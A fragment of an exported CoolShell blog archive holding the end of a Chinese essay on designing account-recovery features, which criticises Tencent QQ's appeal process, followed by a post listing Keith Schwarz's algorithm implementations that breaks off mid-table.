**邮箱**，**安全问答**，**手机**\n\n\n大多数的系统都会使用邮箱和安全问答，这足够了，很多系统直接用邮箱做帐号名（Apple ID，Facebook，新浪微博 ….），这样一来，就算你的系统口令被盗，帐号的是改不掉的，于是你可以用邮箱找回（注：这些系统都会验证你的邮箱是否正确）。但是，如果用邮箱做帐号，会导致你的邮箱暴露了，这样为成为垃圾邮件的受害者，而且如果你还比较2的把邮箱的口令和帐号的口令设置成一样的，那么就相当坑爹了（你可以看看本站的这篇文章——[如何设计你的口令](https://coolshell.cn/articles/2428.html \"如何管理并设计你的口令\")）。所以，但凡是用邮箱用为帐号的系统都不会让人看到你的注册邮箱，比如，大家就不知道我新浪微博帐号注册的邮箱，就算是知道也应该是受信的人知道（新浪微博帐号的邮箱地址的默认可见度是“你关注的人”）。\n\n\n\n这里要说一下，Google Mail使用的是电子邮件，安全问答 和 手机。你可以使用其中一种找回口令。gmail最漂亮的用户体验是其会提示你，你绑写的邮箱（哪家公司的邮箱和帐号名的第一个字母）和手机（3个尾号）。MSN和gmail相似，也会提示你绑定的邮箱，也可以使用手机，还可以使用你设置好的受信PC，以及通过客户支持（通过客户支持——收集你注册时用的名字，生日，国家地区，安全问题，使用过的口令，最近发送过的邮箱标题，联系人等，或是你绑定过的信用卡信息，但是不会有身份证）。\n\n\n使用手机的一般是安全性比较高的网站，比如：淘宝、Gmail等。这样，使用手机找回口令也不错。因为你注册的安全问答你可能会忘了，你的绑定的邮箱也可能忘了口令，而很多木马可以盗取你的这些电脑上的安全问答或邮箱口令，但是这些木马程序盗不走你的手机（注：在移动互联网时代很可能会盗取你的手机上的信息，但是也盗不走你的手机号——无法像邮箱那样改个口令就盗走了）。你会说，手机还不是会丢失，但是你要明白，你丢失的手机，你是可以停机的，可以通过你的手机密码卡或是身份证恢复你的手机号的。另外，**使用手机的好处还在于，我的系统不需要收信你的真实信息（如：姓名，身份证，住址等），这些真实信息的验证交给移动运营商验证就好了**。**在程序设计的里，我们把这种事叫“解耦”**。Amazon就一种通过电子邮件，然后通过你使用过的信用卡后四位，以及帐单的邮寄的邮政编码，如果你的邮箱变了，没问题，打电话给客服吧，客服会问你的钱行卡号和帐单地址，电子商务的好处就是可以有信用卡或银行卡来恢复号。，因为这**——把用户的真实信息“解耦”到了银行，并“耦合”和银行方面的安全策略**。很明显，银行和移动公司的安全级别更高，而且用户也更信任他们。最好不要自己收集用户的真实信息，要是丢失了，你就麻烦了（在国外你就要被起诉了）\n\n\n在这里，你可能会有疑问，如果我的帐号口令丢失了，那么盗取者会进入我的系统改我的邮箱，改我的手机，改我的信用卡等，那不也一样吗？我想说，对于邮箱和手机，其和密码的级别一样，你改密码的时候，你都要输入旧密码，所以，你改邮箱和手机的时候也要使用旧的邮箱和手机。关于你绑定的银行卡或信用卡号，就算是自己也看不见的（只能看见四个尾号），这就就可以防盗了。当然，盗电子商务帐号的人一般会用你一帐号买东西，但是其会遇到另一个麻烦，那就是要面对银行方面的审计工作——1）对于银行卡通过银行的网银，银行的安全系统会帮你审计。2）对于信用卡则要受到信用卡验证和签名的验证，还能让商家会帮你检查信用卡签名是否正确。\n\n\n一些人说，QQ的帐号申诉过程的“美妙”在于其他尽可能多的收集你的信息，这样一来，反而是安全的，因为密码容易被盗，而你的那么多的信息则不容易被盗。这样认识只对了一半。**真正的安全系统是协同整个社会的安全系统做出来的一道安全长城，而不是什么都要自己搞**（当然，我们都知道腾讯的DNA就是什么都要自己搞，连FBI和CIA的事也已经在搞了），什么自己都搞反而不安全了。\n\n\n#### 其它讨论Q&A\n\n\n**问题一：通过申诉找回帐号靠不靠谱？**\n\n\n明显不靠谱，而且还很愚蠢。这反而成了恶意者的温床。他人可以通过申诉让正常人的帐号失效，这是一件多么愚蠢的事啊！（我的QQ帐号前两天不就被这样攻击了吗？）\n\n\n**问题二：通过联系人恢复帐号靠不靠谱？**\n\n\n不全然靠谱，因为你的QQ总是会有陌生人加你，你的邮箱联系人也会有一些你不受信的人。那些人可能就是攻击者的小号。所以，如果你要通过联系人的话，就不要像QQ或MSN那样坑爹的做法，让用户自己来选。而是要像Facebook那样的做法——系统随机挑些人来让你认。\n\n\n**问题三：在注册时设置受信的联系人靠不靠谱？**\n\n\n看似靠谱，但是个人觉得还是还一点问题。因为受信者通过电子信息无法分辨是本人还是盗号者，还要受信者实际联系一下对方。这就好像我们在手机号存电话号码的时候，写上了爸爸，妈妈这样的字眼，这样当恶意者拿了你的手机后，就可以向你的家人敲诈了，因为其直接就可以叫出对方那头的人和被攻击者的关系。\n\n\n**问题四：恢复帐号的时候收集用户的真实信息靠不靠谱？**\n\n\n这要看是什么情况了。如果用户在注册时提供了这些真实信息，就靠谱，如果没有就相当不靠谱。试想：你去银行开户存钱的时候，银行没有让你出示身份证，只让你设了个口令。然后我就可以用我的身份证去重置你的口令。你觉得这个事是不是相当的坑爹？！\n\n\n**问题五：小白不懂邮件，不懂安全问题，不懂绑定手机啊？**\n\n\n那就用耐心地客服教导这些小白（可参看银行等机构的做法——强制用户输入8位以上的口令，强制使用U盾才能进行大额转帐），提高他们的能力和对安全的认识，当有一天这套东西形成社会标准的时候，安全才会真的到来。安全的问题本来就是双方的事，只有大家都有安全意识，才能做得好。而不是迁就用户。还是Henry Ford的那名话——“如果我问用户要什么，用户会说他要一匹更快的马”，所以这世上也就不会有汽车了。QQ不应该为降低用户安全意识起推动性作用。\n\n\n**问题六：我的经历是什么样的？**\n\n\n我基本不上QQ，我上QQ都是被朋友和同学逼的。因为上周四我想写点关于腾读用户体验的东西，所以我才上QQ想看看，结果发现上不去了，说是帐号被投诉了，让我申诉，我猜想估计和我最早发布的关于腾讯的文章有关系。我1999年来注册的这个QQ号根本没有提交过什么身份证或是地址系统之类的东西，我曾经绑定过手机，大概在5年前绑定过。\n\n\n于是在走申诉流程的过程中，腾讯说的绑定的手机没有被验证过，我还记得曾经我使用我的hotmail邮箱代替过我的QQ号，不过这些在被投诉的面前都不能用了。而我感到腾讯无法知道我提交的这些信息是否真实，又因为我以前曾经帮朋友注册过QQ号(我这些朋友就是腾讯员工说的小白用户)，所以，我就用一些看上去比较真实的但实际是假的信息，并用帮人注册的这些QQ号成功申诉回来了。\n\n\n有的网友说我不分不清找回密码和申诉的差别，我在这里想说，你分明绑定了手机，但是当你发了短信后却被告诉你的手机没有被验证过。这个就很扯了。\n\n\n于是，我才意识到QQ的这个申诉过程相当的不安全。关于一些细节问题，还请我们的我们腾讯的员工@larry同学给大家更多的细节。\n\n\n**问题七：QQ还有什么样的坑爹的Use Case?**\n\n\n有两个朋友在回复中说到了两个有意思的比较坑爹的Use Case。\n\n\n@gqjjqg  说，他有个朋友被恶意申诉，有段时间和这个恶意申诉者来来回回地申诉这个QQ号，搞了一个多月都没有搞定。最后只得和那个恶意申诉者达成和解才解决了这个事。\n\n\n@Jack Yang说，他有个朋友在网上买了一个QQ号，没过几天就被申诉回去了（毕竟那是别人用过的），然后人家再接着卖，怎么申诉都申诉不回来。欲哭无泪。\n\n\n可见，在QQ的申诉流程下，什么密保，什么手机绑定，都成了浮云。\n\n\n \n\n\n（如果你还有什么样的问题，我可以在继续更新并回答你的问题）\n\n\n——————————\n\n\n希望你现在明白，关于腾讯的帐号申诉过程，看上去相那么回事，实际上漏洞百出。当然，我不能说腾讯是愚蠢的，因为人家搞得那么大的企业，我只能说人家是在下一盘很大的棋……\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/16.jpg](https://coolshell.cn/articles/5966.html)[腾讯帐号申诉的用户体验](https://coolshell.cn/articles/5966.html)\n* [![如何免费的让网站启用HTTPS](../wp-content/uploads/2017/08/enable-https-banner-150x150.png)](https://coolshell.cn/articles/18094.html)[如何免费的让网站启用HTTPS](https://coolshell.cn/articles/18094.html)\n* [![从“黑掉Github”学Web安全开发](../wp-content/uploads/2014/02/Github-Security-150x150.png)](https://coolshell.cn/articles/11021.html)[从“黑掉Github”学Web安全开发](https://coolshell.cn/articles/11021.html)\n* [![程序员疫苗：代码注入](../wp-content/uploads/2012/12/200906020837401710-150x150.jpg)](https://coolshell.cn/articles/8711.html)[程序员疫苗：代码注入](https://coolshell.cn/articles/8711.html)\n* [![抄袭，腾讯 和 产品 ](../wp-content/uploads/2012/06/i-hate-copycat-150x150.png)](https://coolshell.cn/articles/7617.html)[抄袭，腾讯 和 产品](https://coolshell.cn/articles/7617.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/6043.html)[Web开发中需要了解的东西](https://coolshell.cn/articles/6043.html)\nThe post [如何设计“找回用户帐号”功能](https://coolshell.cn/articles/5987.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-11-29 一些有意思的算法代码.md",
    "content": "---\nlayout: post\ntitle: 一些有意思的算法代码\ndate: 2011/11/29/ 3:11:7\nupdated: 2011/11/29/ 3:11:7\nstatus: publish\npublished: true\ntype: post\n---\n\nKeith Schwarz是一个斯坦福大学计算机科学系的讲师。他对编程充满了热情。他的主页上他自己正在实现各种各样的有意思的算法和数据结构，<http://www.keithschwarz.com/interesting/>， 目前这个网页上有88个（见下面的列表），但这位大哥要干135个，你可以看看他的[To-Do List](http://www.keithschwarz.com/interesting/)。\n\n\n从这个列表上，我们可以看到，他从去年7月份就在自己实现这些东西了，我把他实现的这些算法转过来，\n\n\n* 一方面我们可以学习一下这些算法和代码，因为很多东西对我来说都比较新，我以前[列举过一些经典的算法](https://coolshell.cn/articles/2583.html)，[算法和数据结构词典](https://coolshell.cn/articles/1499.html \"链接：算法和数据结构词典\")，还有[可视化的数据结构和算法](https://coolshell.cn/articles/4671.html \"链接：可视化的数据结构和算法\")， 不过感觉都没有这个全。\n\n\n* 另一方面我希望这个事可以影响到一些正在学习编程的人。看看别人是怎么学习编程的，希望对你有借鉴作用。\n\n\n\n\n| Name | Link | Date Added | Language | Description |\n| --- | --- | --- | --- | --- |\n| Binomial Heap | [(link)](http://www.keithschwarz.com/interesting/code/?dir=binomial-heap) | 7‑24‑2010 | C++ | An implementation of a [binomial heap](http://en.wikipedia.org/wiki/Binomial_heap) data structure for use as a priority queue. |\n| Bounded Priority Queue | [(link)](http://www.keithschwarz.com/interesting/code/?dir=bounded-pqueue) | 7‑24‑2010 | C++ | An implementation of a [priority queue](http://en.wikipedia.org/wiki/Priority_queue) with a fixed upper limit to its size.. |\n| Matrix | [(link)](http://www.keithschwarz.com/interesting/code/?dir=matrix) | 7‑24‑2010 | C++ | A collection of classes for manipulating [matrices](http://en.wikipedia.org/wiki/Matrix_%28mathematics%29). |\n| VList | [(link)](http://www.keithschwarz.com/interesting/code/?dir=vlist) | 8‑16‑2010 | Java | An implementation of the List abstraction backed by a [VList](http://en.wikipedia.org/wiki/VList). |\n| Function Wrapper | [(link)](http://www.keithschwarz.com/interesting/code/?dir=function) | 8‑16‑2010 | C++ | A C++ wrapper class around unary functions. |\n| String | [(link)](http://www.keithschwarz.com/interesting/code/?dir=string) | 8‑17‑2010 | C++ | An implementation of a [string](http://en.wikipedia.org/wiki/String_(computer_science)) abstraction that uses the small string optimization. |\n\n\n\n\n\n|  |  |  |  |  |\n| --- | --- | --- | --- | --- |\n| nstream | [(link)](http://www.keithschwarz.com/interesting/code/?dir=nstream) | 8‑31‑2010 | C++ | An stream class that sends and receives data over a network. |\n| Snake | [(link)](http://www.keithschwarz.com/interesting/code/?dir=snake) | 8‑31‑2010 | C++ | An implementation of the game [*Snake*](http://en.wikipedia.org/wiki/Snake_(video_game)) with a rudimentary AI. |\n| Mergesort | [(link)](http://www.keithschwarz.com/interesting/code/?dir=mergesort) | 9‑14‑2010 | C++ | An implementation of the [mergesort](http://en.wikipedia.org/wiki/Mergesort) algorithm. |\n| Next Permutation | [(link)](http://www.keithschwarz.com/interesting/code/?dir=next-permutation) | 10‑6‑2010 | C++ | An implementation of the [next\\_permutation](http://www.cplusplus.com/reference/algorithm/next_permutation/) STL algorithm. |\n| Interval Heap | [(link)](http://www.keithschwarz.com/interesting/code/?dir=interval-heap) | 10‑17‑2010 | Java | An implementation of a [double-ended priority queue](http://en.wikipedia.org/wiki/Double-ended_priority_queue) using an [interval heap](http://www.mhhe.com/engcs/compsci/sahni/enrich/c9/interval.pdf). |\n| Linear-Time Selection | [(link)](http://www.keithschwarz.com/interesting/code/?dir=median-of-medians) | 10‑18‑2010 | C++ | A deterministic, linear-time [selection algorithm](http://en.wikipedia.org/wiki/Selection_algorithm) using the [median-of-medians](http://en.wikipedia.org/wiki/Selection_algorithm#Linear_general_selection_algorithm_-_Median_of_Medians_algorithm) algorithm. |\n| Heapsort | [(link)](http://www.keithschwarz.com/interesting/code/?dir=heapsort) | 10‑18‑2010 | C++ | An implementation of the [heapsort](http://en.wikipedia.org/wiki/Heapsort) algorithm. |\n| Union-Find | [(link)](http://www.keithschwarz.com/interesting/code/?dir=union-find) | 10‑19‑2010 | Java | An implementation of a [disjoint-set data structure](http://en.wikipedia.org/wiki/Disjoint-set_data_structure) using a disjoint set forest. |\n| Radix Sort | [(link)](http://www.keithschwarz.com/interesting/code/?dir=radix-sort) | 10‑19‑2010 | C++ | An implementation of the [radix sort](http://en.wikipedia.org/wiki/Radix_sort) algorithm. |\n| Rational | [(link)](http://www.keithschwarz.com/interesting/code/?dir=rational) | 10‑23‑2010 | C++ | A data structure representing a [rational number](http://en.wikipedia.org/wiki/Rational_number). |\n| DPLL | [(link)](http://www.keithschwarz.com/interesting/code/?dir=dpll) | 10‑23‑2010 | Haskell | An implementation of the [DPLL algorithm](http://en.wikipedia.org/wiki/DPLL_algorithm) for solving [CNF-SAT](http://en.wikipedia.org/wiki/Boolean_satisfiability_problem). |\n| Smoothsort | [(link)](http://www.keithschwarz.com/interesting/code/?dir=smoothsort) | 10‑27‑2010 | C++ | An implementation of the [smoothsort algorithm](http://www.keithschwarz.com/smoothsort/), an adaptive heapsort variant. |\n| Extendible Array | [(link)](http://www.keithschwarz.com/interesting/code/?dir=extendible-array) | 10‑28‑2010 | Java | A [dynamic array](http://en.wikipedia.org/wiki/Dynamic_array) class with O(1) worst-case runtime lookup and append. |\n| In-Place Merge | [(link)](http://www.keithschwarz.com/interesting/code/?dir=inplace-merge) | 10‑29‑2010 | C++ | An implementation of a [merge algorithm](http://en.wikipedia.org/wiki/Merge_algorithm) that runs [in-place](http://en.wikipedia.org/wiki/In-place_algorithm). |\n| Random Shuffle | [(link)](http://www.keithschwarz.com/interesting/code/?dir=random-shuffle) | 10‑29‑2010 | C++ | An algorithm for generating a [random permutation](http://en.wikipedia.org/wiki/Random_permutation) of a set of elements. |\n| Random Sample | [(link)](http://www.keithschwarz.com/interesting/code/?dir=random-sample) | 10‑29‑2010 | C++ | An O(n) time, O(1) space algorithm for randomly choosing k elements out of a stream with uniform probability. |\n| Natural Mergesort | [(link)](http://www.keithschwarz.com/interesting/code/?dir=natural-mergesort) | 10‑30‑2010 | C++ | An implementation of [natural mergesort](http://www.algorithmist.com/index.php/Merge_sort#Natural_mergesort), an [adaptive](http://en.wikipedia.org/wiki/Adaptive_sort) variant of [mergesort](http://en.wikipedia.org/wiki/Merge_sort). |\n| Interpolation Search | [(link)](http://www.keithschwarz.com/interesting/code/?dir=interpolation-search) | 10‑31‑2010 | C++ | An implementation of the [interpolation search](http://en.wikipedia.org/wiki/Interpolation_search) algorithm. |\n| Introsort | [(link)](http://www.keithschwarz.com/interesting/code/?dir=introsort) | 10‑31‑2010 | C++ | An implementation of the [introsort](http://en.wikipedia.org/wiki/Introsort) algorithm, a fast hybrid of [quicksort](http://en.wikipedia.org/wiki/Quicksort), [heapsort](http://en.wikipedia.org/wiki/Heapsort), and[insertion sort](http://en.wikipedia.org/wiki/Insertion_sort). |\n| Hashed Array Tree | [(link)](http://www.keithschwarz.com/interesting/code/?dir=hashed-array-tree) | 11‑3‑2010 | Java | An implementation of a dynamic array backed by a [hashed array tree](http://en.wikipedia.org/wiki/Hashed_array_tree). |\n| Recurrence Solver | [(link)](http://www.keithschwarz.com/interesting/code/?dir=recurrence) | 11‑13‑2010 | C++ | A fast algorithm for generating terms of a sequence defined by a [linear recurrence relation](http://en.wikipedia.org/wiki/Recurrence_relation#Linear_homogeneous_recurrence_relations_with_constant_coefficients). |\n| Fibonacci Heap | [(link)](http://www.keithschwarz.com/interesting/code/?dir=fibonacci-heap) | 11‑15‑2010 | Java | An implementation of a priority queue backed by a [Fibonacci heap](http://en.wikipedia.org/wiki/Fibonacci_heap). |\n| Dijkstra’s Algorithm | [(link)](http://www.keithschwarz.com/interesting/code/?dir=dijkstra) | 11‑16‑2010 | Java | An implementation of [Dijkstra’s algorithm](http://en.wikipedia.org/wiki/Dijkstra's_algorithm) for single-source shortest paths. |\n| Prim’s Algorithm | [(link)](http://www.keithschwarz.com/interesting/code/?dir=prim) | 11‑17‑2010 | Java | An implementation of [Prim’s algorithm](http://en.wikipedia.org/wiki/Prim's_algorithm) for computing [minimum spanning trees](http://en.wikipedia.org/wiki/Minimum_spanning_tree). |\n| Kruskal’s Algorithm | [(link)](http://www.keithschwarz.com/interesting/code/?dir=kruskal) | 11‑17‑2010 | Java | An implementation of [Kruskal’s algorithm](http://en.wikipedia.org/wiki/Kruskal's_algorithm) for computing [minimum spanning trees](http://en.wikipedia.org/wiki/Minimum_spanning_tree). |\n| Majority Element | [(link)](http://www.keithschwarz.com/interesting/code/?dir=majority-element) | 11‑17‑2010 | C++ | A fast, linear-time algorithm for finding the [majority element](http://www.cs.utexas.edu/~moore/best-ideas/mjrty/) of a data set. |\n| Haar Transform | [(link)](http://www.keithschwarz.com/interesting/code/?dir=haar) | 11‑17‑2010 | C++ | A set of functions to decompose a sequence of values into a sum of [Haar wavelets](http://en.wikipedia.org/wiki/Haar_wavelet). |\n| Argmax | [(link)](http://www.keithschwarz.com/interesting/code/?dir=argmax) | 11‑19‑2010 | C++ | A pair of functions to compute the [arg min or max](http://en.wikipedia.org/wiki/Arg_max) of a function on some range. |\n| Derivative | [(link)](http://www.keithschwarz.com/interesting/code/?dir=derivative) | 11‑19‑2010 | C++ | A [function object](http://en.wikipedia.org/wiki/Function_object) that approximates the [derivative](http://en.wikipedia.org/wiki/Derivative) of a function. |\n| Levenshtein Distance | [(link)](http://www.keithschwarz.com/interesting/code/?dir=levenshtein) | 11‑19‑2010 | C++ | An algorithm for computing the [Levenshtein distance](http://en.wikipedia.org/wiki/Levenshtein_distance) between two sequences. |\n| Skiplist | [(link)](http://www.keithschwarz.com/interesting/code/?dir=skiplist) | 11‑20‑2010 | C++ | An implementation of a [skip list](http://en.wikipedia.org/wiki/Skip_list), a randomized data structure for maintaining a sorted collection. |\n| van Emde Boas Tree | [(link)](http://www.keithschwarz.com/interesting/code/?dir=van-emde-boas-tree) | 11‑26‑2010 | C++ | An implementation of a sorted associative array backed by a [van Emde Boas tree](http://en.wikipedia.org/wiki/Van_Emde_Boas_tree). |\n| Cuckoo HashMap | [(link)](http://www.keithschwarz.com/interesting/code/?dir=cuckoo-hashmap) | 11‑27‑2010 | Java | An implementation of a [hash table](http://en.wikipedia.org/wiki/Hash_table) using [cuckoo hashing](http://en.wikipedia.org/wiki/Cuckoo_hashing). |\n| Needleman-Wunsch Algorithm | [(link)](http://www.keithschwarz.com/interesting/code/?dir=needleman-wunsch) | 11‑28‑2010 | C++ | An implementation of the [Needleman-Wunsch](http://en.wikipedia.org/wiki/Needleman%E2%80%93Wunsch_algorithm) algorithm for optimal string alignment. |\n| Treap | [(link)](http://www.keithschwarz.com/interesting/code/?dir=treap) | 11‑28‑2010 | C++ | An implementation of a sorted associative array backed by a [treap](http://en.wikipedia.org/wiki/Treap). |\n| Floyd-Warshall Algorithm | [(link)](http://www.keithschwarz.com/interesting/code/?dir=floyd-warshall) | 12‑10‑2010 | Java | An implementation of the [Floyd-Warshall algorithm](http://en.wikipedia.org/wiki/Floyd-Warshall_algorithm) for all-pairs shortest paths in a graph. |\n| Power Iteration | [(link)](http://www.keithschwarz.com/interesting/code/?dir=power-iteration) | 12‑10‑2010 | C++ | An implementation of the [power iteration](http://en.wikipedia.org/wiki/Power_iteration) algorithm for finding dominant eigenvectors. |\n| Edmonds’s Matching Algorithm | [(link)](http://www.keithschwarz.com/interesting/code/?dir=edmonds-matching) | 12‑15‑2010 | Java | An implementation of [Edmonds’s matching algorithm](http://en.wikipedia.org/wiki/Edmonds's_matching_algorithm) for finding [maximum matchings](http://en.wikipedia.org/wiki/Matching_(graph_theory)#Maximum_matchings) in undirected graphs. |\n| Kosaraju’s Algorithm | [(link)](http://www.keithschwarz.com/interesting/code/?dir=kosaraju) | 12‑15‑2010 | Java | An implementation of [Kosaraju’s algorithm](http://en.wikipedia.org/wiki/Kosaraju's_algorithm) algorithm for finding [strongly connected components](http://en.wikipedia.org/wiki/Strongly_connected_component) of a directed graph. |\n| 2-SAT | [(link)](http://www.keithschwarz.com/interesting/code/?dir=2sat) | 12‑15‑2010 | Java | A linear-time algorithm for solving [2-SAT](http://en.wikipedia.org/wiki/2-satisfiability). |\n| Bellman-Ford Algorithm | [(link)](http://www.keithschwarz.com/interesting/code/?dir=bellman-ford) | 12‑17‑2010 | Java | An implementation of the [Bellman-Ford](http://en.wikipedia.org/wiki/Bellman%E2%80%93Ford_algorithm) algorithm for single-source shortest paths. |\n| Topological Sort | [(link)](http://www.keithschwarz.com/interesting/code/?dir=topological-sort) | 12‑17‑2010 | Java | An algorithm for computing a [topological sort](http://en.wikipedia.org/wiki/Topological_sorting) of a directed acyclic graph. |\n| Graham Scan | [(link)](http://www.keithschwarz.com/interesting/code/?dir=graham-scan) | 12‑19‑2010 | C++ | An implementation of the [Graham scan](http://en.wikipedia.org/wiki/Graham_scan) for finding convex hulls in 2D space. |\n| Bipartite Testing | [(link)](http://www.keithschwarz.com/interesting/code/?dir=bipartite-verify) | 12‑19‑2010 | Java | A linear-time algorithm for checking whether a directed graph is [bipartite](http://en.wikipedia.org/wiki/Bipartite_graph). |\n| Johnson’s Algorithm | [(link)](http://www.keithschwarz.com/interesting/code/?dir=johnson) | 12‑19‑2010 | Java | An implementation of [Johnson’s algorithm](http://en.wikipedia.org/wiki/Johnson's_algorithm) for all-pairs shortest paths. |\n| Strassen Algorithm | [(link)](http://www.keithschwarz.com/interesting/code/?dir=strassen) | 12‑20‑2010 | C++ | An implementation of the [Strassen algorithm](http://en.wikipedia.org/wiki/Strassen_algorithm) for fast matrix multiplication. |\n| Cartesian Tree Sort | [(link)](http://www.keithschwarz.com/interesting/code/?dir=cartesian-tree-sort) | 12‑21‑2010 | C++ | An implementation of [Cartesian tree sort](http://en.wikipedia.org/wiki/Cartesian_tree#Application_in_sorting), an adaptive, out-of-place heapsort variant. |\n| Ford-Fulkerson Algorithm | [(link)](http://www.keithschwarz.com/interesting/code/?dir=ford-fulkerson) | 12‑21‑2010 | Java | An implementation of the [Ford-Fulkerson](http://en.wikipedia.org/wiki/Ford%E2%80%93Fulkerson_algorithm) maximum-flow algorithm. |\n| Scaling Ford-Fulkerson | [(link)](http://www.keithschwarz.com/interesting/code/?dir=ford-fulkerson-scaling) | 12‑22‑2010 | Java | An modification of the [Ford-Fulkerson](http://en.wikipedia.org/wiki/Ford%E2%80%93Fulkerson_algorithm) maximum-flow algorithm that uses scaling to achieve polynomial time.. |\n| Splay Tree | [(link)](http://www.keithschwarz.com/interesting/code/?dir=splay-tree) | 12‑27‑2010 | C++ | An implementation of a sorted associative array backed by a [splay tree](http://en.wikipedia.org/wiki/Splay_tree). |\n| Ternary Search Tree | [(link)](http://www.keithschwarz.com/interesting/code/?dir=ternary-search-tree) | 12‑28‑2010 | C++ | An implementation of a sorted set of strings backed by a [ternary search tree](http://en.wikipedia.org/wiki/Ternary_search_tree). |\n| Ring Buffer | [(link)](http://www.keithschwarz.com/interesting/code/?dir=ring-buffer) | 12‑30‑2010 | Java | An implementation of a FIFO queue using a [ring buffer](http://en.wikipedia.org/wiki/Circular_buffer). |\n| AVL Tree | [(link)](http://www.keithschwarz.com/interesting/code/?dir=avl-tree) | 12‑30‑2010 | C++ | A sorted associative container backed by an [AVL tree](http://en.wikipedia.org/wiki/AVL_tree). |\n| Rabin-Karp Algorithm | [(link)](http://www.keithschwarz.com/interesting/code/?dir=rabin-karp) | 1‑1‑2011 | C++ | An implementation of the [Rabin-Karp algorithm](http://en.wikipedia.org/wiki/Rabin%E2%80%93Karp_string_search_algorithm) for string matching. |\n| RPN Evaluator | [(link)](http://www.keithschwarz.com/interesting/code/?dir=rpn-evaluate) | 1‑18‑2011 | C++ / strain | A library to tokenize and evaluate simple arithmetic expressions in [reverse Polish notation](http://en.wikipedia.org/wiki/Reverse_Polish_notation). |\n| Shunting-Yard Algorithm | [(link)](http://www.keithschwarz.com/interesting/code/?dir=shunting-yard) | 1‑18‑2011 | C++ / strain | An implementation of Dijkstra’s [shunting-yard algorithm](http://en.wikipedia.org/wiki/Shunting-yard_algorithm) for converting infix expressions to reverse-Polish notation. |\n| Skew Binomial Heap | [(link)](http://www.keithschwarz.com/interesting/code/?dir=skew-binomial-heap) | 1‑20‑2011 | C++ | An implementation of a priority queue backed by a [skew binomial heap](http://en.wikipedia.org/wiki/Skew_binomial_heap). |\n| 2/3 Heap | [(link)](http://www.keithschwarz.com/interesting/code/?dir=two-three-heap) | 3‑1‑2011 | C++ | An implementation of a priority queue whose branching factor alternates at different levels to maximize performance. |\n| Zeckendorf Logarithm | [(link)](http://www.keithschwarz.com/interesting/code/?dir=zeckendorf-logarithm) | 3‑10‑2011 | C++ | An algorithm based on [Zeckendorf representations](http://en.wikipedia.org/wiki/Zeckendorf's_theorem) that efficiently computes logarithms. |\n| Factoradic Permutations | [(link)](http://www.keithschwarz.com/interesting/code/?dir=factoradic-permutation) | 3‑17‑2011 | C++ | A set of algorithms for generating [permutations](http://en.wikipedia.org/wiki/Permutation) using the [factoradic number system](http://en.wikipedia.org/wiki/Factorial_number_system). |\n| Binary Cyclic Subsets | [(link)](http://www.keithschwarz.com/interesting/code/?dir=binary-subset) | 3‑20‑2011 | C++ | A set of algorithms for generating [subsets](http://en.wikipedia.org/wiki/Subset) in [lexicographical order](http://en.wikipedia.org/wiki/Lexicographical_order) using [binary numbers and cyclic shifts](http://www.keithschwarz.com/binary-subsets). |\n| Fibonacci Iterator | [(link)](http://www.keithschwarz.com/interesting/code/?dir=fibonacci-iterator) | 3‑22‑2011 | C++ | An STL-style iterator for iterating over the [Fibonacci numbers](http://en.wikipedia.org/wiki/Fibonacci_number). |\n| Fibonacci Search | [(link)](http://www.keithschwarz.com/interesting/code/?dir=fibonacci-search) | 3‑22‑2011 | C++ | An implementation of the [Fibonacci search](http://en.wikipedia.org/wiki/Fibonacci_search_technique) algorithm. |\n| Euclid’s Algorithm | [(link)](http://www.keithschwarz.com/interesting/code/?dir=euclid) | 4‑18‑2011 | Haskell | An implementation of [Euclid’s algorithm](http://en.wikipedia.org/wiki/Euclidean_algorithm) and applications to [continued fractions](http://en.wikipedia.org/wiki/Continued_fraction) and [the extended Euclidean algorithm](http://en.wikipedia.org/wiki/Extended_Euclidean_algorithm). |\n| Find Duplicate | [(link)](http://www.keithschwarz.com/interesting/code/?dir=find-duplicate) | 4‑18‑2011 | Python | An algorithm to find a repeated element in an array using [Floyd’s cycle-finding algorithm](http://en.wikipedia.org/wiki/Cycle_detection#Tortoise_and_hare). |\n| Permutation Generator | [(link)](http://www.keithschwarz.com/interesting/code/?dir=permutation-generator) | 4‑19‑2011 | Python | A [generator](http://en.wikipedia.org/wiki/Generator_(computer_programming)) for producing all [permutations](http://en.wikipedia.org/wiki/Permutation) of a list of elements. |\n| Matrix Find | [(link)](http://www.keithschwarz.com/interesting/code/?dir=matrix-find) | 4‑19‑2011 | Python | A solution to the classic interview question of searching a sorted matrix for a particular value. |\n| Binary GCD | [(link)](http://www.keithschwarz.com/interesting/code/?dir=binary-gcd) | 4‑23‑2011 | Scheme | An implementation of the [binary GCD algorithm](http://en.wikipedia.org/wiki/Binary_GCD_algorithm) for computing greatest common divisors of nonnegative integers. |\n| Knuth-Morris-Pratt Algorithm | [(link)](http://www.keithschwarz.com/interesting/code/?dir=knuth-morris-pratt) | 5‑3‑2011 | Python | An implementation of the [Knuth-Morris-Pratt algorithm](http://en.wikipedia.org/wiki/Knuth%E2%80%93Morris%E2%80%93Pratt_algorithm) for fast string matching. |\n| Kadane’s Algorithm | [(link)](http://www.keithschwarz.com/interesting/code/?dir=kadane) | 5‑7‑2011 | C++ | An implementation of Kadane’s algorithm for solving the [maximum-weight subarray problem](http://en.wikipedia.org/wiki/Maximum_subarray_problem). |\n| Karatsuba’s Algorithm | [(link)](http://www.keithschwarz.com/interesting/code/?dir=karatsuba) | 8‑15‑2011 | Python | An implementation of [Karatsuba’s algorithm](http://en.wikipedia.org/wiki/Karatsuba_algorithm) for fast integer multiplication. |\n| Min-Stack | [(link)](http://www.keithschwarz.com/interesting/code/?dir=min-stack) | 8‑15‑2011 | C++ | An implementation of a [LIFO stack](http://en.wikipedia.org/wiki/Stack_(data_structure)) that supports O(1) push, pop, and find-minimum. |\n| Random Bag | [(link)](http://www.keithschwarz.com/interesting/code/?dir=random-bag) | 8‑15‑2011 | Python | A data structure that supports insertion and removal of a uniformly-random element. |\n| Min-Queue | [(link)](http://www.keithschwarz.com/interesting/code/?dir=min-queue) | 8‑15‑2011 | C++ | An implementation of a [FIFO queue](http://en.wikipedia.org/wiki/Queue_(data_structure)) that supports O(1) push, pop, and find-minimum. |\n| Lights-Out Solver | 